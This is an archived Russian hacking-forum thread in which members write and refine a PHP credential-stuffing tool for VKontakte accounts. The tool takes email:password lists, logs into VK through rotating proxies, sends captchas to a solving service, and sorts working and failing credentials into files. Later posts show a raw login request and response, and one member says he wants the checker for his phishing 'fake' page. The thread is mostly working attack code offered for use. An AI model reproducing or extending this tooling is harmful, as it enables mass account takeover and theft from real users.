Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   чекер аккаунтов вконтакте (https://forum.antichat.xyz/showthread.php?t=188195)

SkyLine32 19.03.2010 01:15

чекер аккаунтов вконтакте
 
Уважаемые кодеры!
Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. :))
Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
Cannot redeclare curl()
Помогите разобраться!

PHP код:

<form method="post" />
<textarea cols=80 rows=18 name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {
foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos strpos($line':');
$email substr($line0$pos);
$pos2 strpos($line':');
$pass substr($line$pos2);
$pass = @ereg_replace(":"""$pass);

function 
curl($url,$post)
{
$cfile 'cheker-cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); 
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER1);

$proxy="ip:port";

curl_setopt($chCURLOPT_PROXY$proxy); 
curl_setopt($chCURLOPT_POSTFIELDS$post); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

$result curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email<br>$pass - bad";
unlink('cheker-cookies.txt');
}
}
?>


Gifts 19.03.2010 01:43

SkyLine32 Объявление функции сделайте вне цикла

SkyLine32 19.03.2010 02:06

Цитата:

Сообщение от Gifts
SkyLine32 Объявление функции сделайте вне цикла

помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...

SkyLine32 19.03.2010 04:04

PHP код:

<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {

function 
curl($url,$post)
{
$cfile 'cheker-cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER1);

$proxy="ip:port";

curl_setopt($chCURLOPT_PROXY$proxy); 
curl_setopt($chCURLOPT_POSTFIELDS$post); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos strpos($line':');
$email substr($line0$pos);
$pos2 strpos($line':');
$pass substr($line$pos2);
$pass = @ereg_replace(":"""$pass);

$result curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>

Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?

SkyLine32 19.03.2010 23:50

Что никто не знает как решить данную задачу?

b3 20.03.2010 00:42

Цитата:

Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

Цитата:

Что никто не знает как решить данную задачу?
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

SkyLine32 20.03.2010 01:33

Цитата:

Сообщение от b3
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет :D Ну слава богу хоть ты мне кое что посоветовал...

Цитата:

Сообщение от b3
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...

Ротация прокси это имеется ввиду их смена?
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?

b3 20.03.2010 04:45

Цитата:

Ротация прокси это имеется ввиду их смена?
Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.

Цитата:

А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.

qwerra 20.03.2010 05:09

Наверное надо как то так:

PHP код:

<?
set_time_limit
(0);

require_once 
'config.ini';


function 
recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post'
        
'key'       => $apikey
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,
        
    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://www.antigate.com/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch)) 
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
        
$waittime 0;
        if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout
                {
                    if (
$is_verbose) echo "timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
            }
        }
        
        return 
false;
    }
}

function 
GetList($filename){
if(!
file_exists($filename)||filesize($filename)==0)return -1;
$handle fopen($filename,'r');
$source fread($handle,filesize($filename));
fclose($handle);
$source str_replace(array("\r","\t"),"",$source);
$source explode("\n",$source);
return 
$source;
}

function 
ToLog($str)
{
global 
$log_handle;
fwrite($log_handle,$str);
echo 
$str;
flush();
}

function 
Login($login,$password)
{
$init curl_init();
curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS'op=a_login_attempt');
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
if(
strstr($source,'Enter code')){
global 
$use_AC,$captcha_file;
if(
$use_AC)
{
preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|'$source$cid);
$img fopen($captcha_file,"w");
fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
fclose($img);
$captcha_code=recognize($captcha_file,$AC_key,false);
$init curl_init();
curl_setopt($initCURLOPT_URL'http://vkontakte.ru/login.php');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS"op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
return array(
'captcha_block',null);
}
else
return array(
'captcha_block',null);
}

$init curl_init();
curl_setopt($initCURLOPT_URL'http://login.vk.com/?act=login');
curl_setopt($initCURLOPT_POST1);
curl_setopt($initCURLOPT_TIMEOUT15);
curl_setopt($initCURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
curl_setopt($initCURLOPT_RETURNTRANSFER1);
curl_setopt($initCURLOPT_HEADER1);
curl_setopt($initCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source curl_exec($init);
curl_close($init);
if(
preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|'$source$rsid))
return array(
'valid',$rsid[1]);
else 
return array(
'invalid',null);
}




$log_handle fopen($log_file,"a+");
$good_handle fopen($good_file,"a+");
$bad_handle fopen($bad_file,"a+");
$accounts GetList($vk_accs);
if(
$accounts==-1)
die(
"\r\n file accounts not found or clean \r\n");
$val_acc = (count($accounts)-1);

for(
$i=0;$i<=$val_acc;$i++)
{
if(
$accounts[$i]=='')
continue;
list(
$mail,$pass) = explode($delimeter,$accounts[$i]);
$res Login($mail,$pass);
switch(
$res[0])
{
case 
'captcha_block':
if(!
$use_AC){
ToLog("$mail$delimeter$pass [captcha block]\r\n");
}
else
$i--;
break;

case 
'valid':
ToLog("$mail$delimeter$pass [valid!]\r\n");
fwrite($good_handle,"$mail$delimeter$pass\r\n");
break;

case 
'invalid':
ToLog("$mail$delimeter$pass [invalid]\r\n");
fwrite($bad_handle,"$mail$delimeter$pass\r\n");
break;

}
}
fclose($log_handle);
fclose($good_handle);
fclose($bad_handle);
?>


SkyLine32 22.03.2010 22:33

Вроде чекает норм, для меня для начинающего в области php сойдёт :D
Всем спасибо за помощь!

PHP код:

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<title>чекер вконтакте</title>
<style type='text/css' media='all'>
body,html {
    background:#004243;
    font-family: verdana;
    font-size:10px;
    color:#2D8AB9;
}
textarea {
    background:#008A8C;
    font-family: verdana;
    font-size:10px;
    color: #FFFFFF;
}
#ok {
    color: #00A437;
    font-family: Verdana;
    font-size: 10px;
    background-color: #111;
    border-color: #002E3B;
    cursor:pointer;
}
</style>
</head>
<body>
<form method="post" />
<textarea cols="100" rows="25" name="akki-list">
</textarea>
<br /><br />
<input type="submit" value=" Send " id='ok' />
</form>
<form action="http://best.vg/" method="post" />
<input type="submit" value=" © " id='ok' />
</form>
<?php
    set_time_limit
(0);

    
$cookies     =    'cookies.txt';
    if(isset(
$_POST['akki-list']))
{
function 
curl($url,$post)
{
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_COOKIEJAR$cookies);
    
curl_setopt($chCURLOPT_COOKIEFILE$cookies);
    
curl_setopt($chCURLOPT_HEADER1); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post);
    
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
    @
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    
curl_setopt($chCURLOPT_PROXY$proxy.':'.$port);
    
//curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
$result curl_exec($ch);
    
curl_close($ch);
    return 
$result;
};
foreach(
explode("\n",$_POST['akki-list']) as $line)
{
    
$pos    =    strpos($line':');
    
$email    =    substr($line0$pos);
    
$pos2    =    strpos($line':');
    
$pass    =    substr($line$pos2);
    
$pass    =    @ereg_replace(":"""$pass);

    
$file     =     file('proxy.txt');
    
$prox     =     explode(':'$file[0]);
    
$proxy     =     $prox['0'];
    
$port     =     $prox['1'];
    
    
$newp str_replace($proxy.':'.$port''file_get_contents('proxy.txt'));
if(
$prf fopen('proxy.txt''w+'))
{
    
fwrite($prf$newp);
    
fclose($prf);

    
$result    =    curl('http://vkontakte.ru/','');
if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
    echo 
"<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
    else
    echo 
"<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
}
else {echo 
'хз';}
}
}
?>


Life7 22.03.2010 22:42

норм. но жаль что не ехе...

SkyLine32 22.03.2010 22:50

Цитата:

Сообщение от Life7
норм. но жаль что не ехе...

ну если подаждёшь с недельку, может смогу на delphi написать :D

nuBo 22.03.2010 22:59

Цитата:

Fatal error: Call to undefined function curl_init() in C:\Local\xampp\htdocs\chek.php on line 47
xampp не поддерживает curl ?

SkyLine32 22.03.2010 23:02

Цитата:

Сообщение от nuBo
xampp не поддерживает curl ?

Видимо нет, проверь
PHP код:

<?php
phpinfo
(); 
?>


Deathdreams 23.03.2010 00:32

Цитата:

Сообщение от nuBo
xampp не поддерживает curl ?

а что, непонятно ?

нужно раскомментировать расширение curl в php.ini

100500 раз поднимали этот вопрос

SkyLine32 23.03.2010 00:49

ну и соответственно иметь файлик php_curl.dll в \ext ну или где то там...xampp вообще не разу не юзал...

nuBo 23.03.2010 00:56

Deathdreams спасибо.
Все акки, кидает в невалид. :confused:

SkyLine32 23.03.2010 00:59

Цитата:

Сообщение от nuBo
Deathdreams спасибо.
Все акки, кидает в невалид. :confused:

Короче суть такая... Сколько ты аккаунтов хочешь прочекать - столько у тебя должно быть рабочих прокси! На каждый аккаунт берётся по 1й прокси.

nuBo 23.03.2010 01:01

SkyLine32 ты сам то скрипт проверял?

SkyLine32 23.03.2010 01:04

Цитата:

Сообщение от nuBo
SkyLine32 ты сам то скрипт проверял?

ну как бы делал для себя... может и есть косяки, но я в php ещё не очень шарю, если ты шаришь нормально, доведи до ума скрипт и выложи сюда - люди оценят :)

qwerra 24.03.2010 14:52

В моём посте поддерживается curl

dr.Web 24.03.2010 15:29

Цитата:

Сообщение от SkyLine32
Вроде чекает норм, для меня для начинающего в области php сойдёт :D
Всем спасибо за помощь!

а как ты узнаёшь что проксик подходит для ВК? :confused:
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков

taxpayer 25.03.2010 15:14

Цитата:

Сообщение от dr.Web
а как ты узнаёшь что проксик подходит для ВК? :confused: надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков

а код или содержимое ответа смотреть что запрещает? + библиотека курл должна возбуждать исключения при проблемах с коннектом

SkyLine32 25.03.2010 15:35

Цитата:

Сообщение от dr.Web
а как ты узнаёшь что проксик подходит для ВК? :confused:
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков

Собственно никак... Сперва проверяю прокси на валидность, если работаю то вбиваю в скрипт... А что есть прокси (даже если они работаю нормально) которые вконтаке игнорирует их?

taxpayer 25.03.2010 15:46

Объясните пожалуйста, зачем делать предварительный чек, вместо того, чтобы сразу юзать сокс?

ZnikiR 26.03.2010 00:14

У меня еще вопрос,можно ли как-нить через без курла сделать?
для фейка.

dr.Web 26.03.2010 00:38

я с сокс не работал. есть некоторые проксики которые норм пингуются но на контакт и на другие сайты не получается зайти показывает страничку самих проксиков.

Life7 26.03.2010 00:40

неработает. у кого как?

taxpayer 26.03.2010 01:00

Цитата:

есть некоторые проксики которые норм пингуются но на контакт и на другие сайты не получается зайти показывает страничку самих проксиков.
Что тебе мешает обрабатывать эти ответы без предварительного чека прокси-серверов?

С предварительным чеком прокси ты выполняешь две идентичных операции, если брать во внимание и незабаненные вконтактом сервера.

dr.Web 26.03.2010 01:16

не я не то имел в виду. =)
вот это я и имел в виду обрабатывать.если в ответе от проксика нету необходимого куск кода то менять проксик.

taxpayer 26.03.2010 01:22

Цитата:

надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
----
вот это я и имел в виду обрабатывать.
похоже, что именно это ты и НЕ имел ввиду. не надо мутить никакого прокси чека, всё отсеивание прокси, соксов реализуется сразу, конкретно при чеке аккаунтов

ZnikiR 26.03.2010 01:22

*ИЗМЕНЕННО* (немножко накосячил,сори)
Ну в общем курл для меня возможен, но Я хочу найти альтернативные варианты.
В общем сейчас немного поигрался с авторизацией через pda.vkontakte.ru.

И вот что обнаружил.
Если обратиться напрямую к
login.vk.com c вот таким запросом
Код:

POST /?act=login&to=&from_host=pda.vkontakte.ru&pda=1 HTTP/1.1
Host: login.vk.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 WebMoney Advisor FirePHP/0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

email=МЫЛО&pass=ПАРОЛЬ

То при правильной паре пасс:логин получаем
Код:

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Thu, 25 Mar 2010 21:07:12 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.6-1+lenny3
Pragma: no-cache
Cache-control: no-store
Set-Cookie: remixchk=5; expires=Mon, 21-Mar-2011 12:38:20 GMT; path=/; domain=.vkontakte.ru
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: l=значение; expires=Thu, 17-Mar-2011 14:33:37 GMT; path=/; domain=login.vk.com
Set-Cookie: p=значение; expires=Sat, 26-Mar-2011 05:24:20 GMT; path=/; domain=login.vk.com
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 390

<html>
  <head>
    <meta http-equiv='content-type' content='text/html; charset=windows-1251' />
  </head>
  <body onload="document.getElementById('l').submit();">
    <form id='l' method='post' action='http://pda.vkontakte.ru/login'>
      <input type='hidden' name='s' id='s' value='значение' />
            <input type='hidden' name='op' id='op' value='slogin' />
      <input type='hidden' name='redirect' id='redirect' value='1' />
      <input type='hidden' name='expire' id='expire' value='0' />
      <input type='hidden' name='to' id='to' value='' /><noscript><input type="submit" value="Продолжить"/></noscript>
    </form>
  </body>
</html>

В общем знания по программированию на PHP прямо сейчас не позволяют мне написать программы.
У меня вопрос к людям по опытнее:
Как получить и обработать при помощи PHP куку L?

P.S. после изменения вообще потерлся смысл поста,но удалять не охота может кому пригодится!

taxpayer 26.03.2010 01:40

ZnikiR, бесплатно помогу научиться пользоваться документацией за 24 часа, по регекспам в том числе

ZnikiR 26.03.2010 01:51

Ну ты хотя бы скажи при помощи какой функции принять ответ можно от сервака,чтобы можно было потом выделить куку,дальше сам попытаюсь разобраться!

taxpayer 26.03.2010 02:08

Цитата:

Ну в общем курл для меня возможен
------
хотя бы скажи при помощи какой функции принять ответ можно от сервака
интересно каким образом это для тебя курл возможен)

ZnikiR 26.03.2010 02:25

Хостинг поддерживает.
Но это платный хостинг,а у меня еще есть простой фейк на бесплатном хостинг,вот для него бы чекер при конекте намутить шикарно бы было.
Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.

taxpayer 26.03.2010 02:30

Цитата:

Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.
Вообще рациональной идеи не уловил
Что касается софта, что тебе мешает юзать курл?

ZnikiR 26.03.2010 02:37

2 taxpayer
Кончай оффтоп,есть ася для этого!
ЕСТЬ ли СПОСОБЫ (без использования cUrl) прочитать ответ от сервера,чтобы было можно распознать значение кук?

taxpayer 26.03.2010 03:08

Сокеты, какие-нибудь стандартные либы пхп

SkyLine32 26.03.2010 11:11

Цитата:

Сообщение от ZnikiR
Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.

Ну во первых контакт игнорирует многие хосты, во вторых контакт тебя забанит сразу если не будешь юзать прокси.
Цитата:

Сообщение от ZnikiR
Как получить и обработать при помощи PHP куку

Напиши в аську, попробуем чё нить сделать...


Время: 08:55